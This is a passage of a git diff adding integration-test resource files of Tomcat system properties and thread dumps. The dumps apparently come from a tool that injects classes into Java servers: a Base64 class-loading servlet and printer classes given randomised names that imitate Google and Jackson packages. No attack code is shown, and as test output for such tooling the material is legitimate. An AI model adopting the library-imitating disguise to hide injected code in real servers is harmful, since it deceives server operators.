org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:903) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1740) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1189) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"AsyncFileHandlerWriter-1" #15 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4cdf7b75 + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingDeque.takeFirst(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingDeque.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.26/java.net.AbstractPlainSocketImpl.accept(Unknown Source) + at java.base@11.0.26/java.net.ServerSocket.implAccept(Unknown Source) + at java.base@11.0.26/java.net.ServerSocket.accept(Unknown Source) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:557) + at org.apache.catalina.startup.Catalina.await(Catalina.java:851) + at org.apache.catalina.startup.Catalina.start(Catalina.java:799) + at java.base@11.0.26/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@11.0.26/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) + at java.base@11.0.26/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) + at java.base@11.0.26/java.lang.reflect.Method.invoke(Unknown Source) + at app//org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345) + at app//org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476) + +"http-nio-8080-exec-10" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1677d217 + java.lang.Thread.State: WAITING + at java.base@11.0.26/java.lang.Object.wait(Native Method) + at java.base@11.0.26/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@11.0.26/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@11.0.26/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"FileHandlerLogFilesCleaner-1" #14 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34586754 + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66279abb + java.lang.Thread.State: WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@11.0.26/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:117) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1113) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1174) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +com.google.gso.INiRH.ErrorHandler +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter diff --git a/integration-test/src/test/resources/infos/Tomcat11ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat11ContainerTestBasicInfo.txt new file mode 100644 index 00000000..15d17d56 --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat11ContainerTestBasicInfo.txt @@ -0,0 +1,410 @@ +# Generated At 2025-08-10 15:00:44 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +catalina.useNaming: true +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.apache.catalina.startup.Bootstrap start +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: org.apache.naming +java.version.date: 2025-01-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +jdk.tls.ephemeralDHKeySize: 2048 +server.loader: +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.14+7 +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.name: root +path.separator: : +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.14+7 +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /usr/local/tomcat/temp +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-jakarta-web*.jar,log4javascript*.jar,slf4j-taglib*.jar +catalina.home: /usr/local/tomcat +java.version: 17.0.14 +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-ssi.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jakartaee-migration-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-coyote-ffm.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,websocket-client-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar +user.dir: /usr/local/tomcat +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +catalina.base: /usr/local/tomcat +shared.loader: +native.encoding: UTF-8 +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.14+7 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +tomcat.util.buf.StringCache.byte.enabled: true +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.14/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.14/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@17.0.14/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"http-nio-8080-exec-2" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-10" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"Notification Thread" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-8" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"Catalina-utility-2" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79b6f119 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3cb4704b + java.lang.Thread.State: WAITING + at java.base@17.0.14/java.lang.Object.wait(Native Method) + at java.base@17.0.14/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@17.0.14/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@17.0.14/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"http-nio-8080-exec-6" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-Poller" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.14/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.14/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@17.0.14/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@17.0.14/sun.nio.ch.SelectorImpl.select(Unknown Source) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:763) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"Catalina-utility-1" #18 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79b6f119 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-1" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:119) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:34) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"FileHandlerLogFilesCleaner-1" #16 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bae3866 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@17.0.14/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"http-nio-8080-exec-7" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.14/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.14/java.lang.Thread.getAllStackTraces(Unknown Source) + at com.fasterxml.jackson.xeZvQ.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.14/java.lang.String.valueOf(Unknown Source) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:130) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:109) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:109) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:79) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:116) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:666) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:396) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:903) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1744) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:637) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:59) + at java.base@17.0.14/java.lang.Thread.run(Unknown Source) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-3" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7d897a70 + java.lang.Thread.State: WAITING + at java.base@17.0.14/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.14/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base@17.0.14/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base@17.0.14/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at 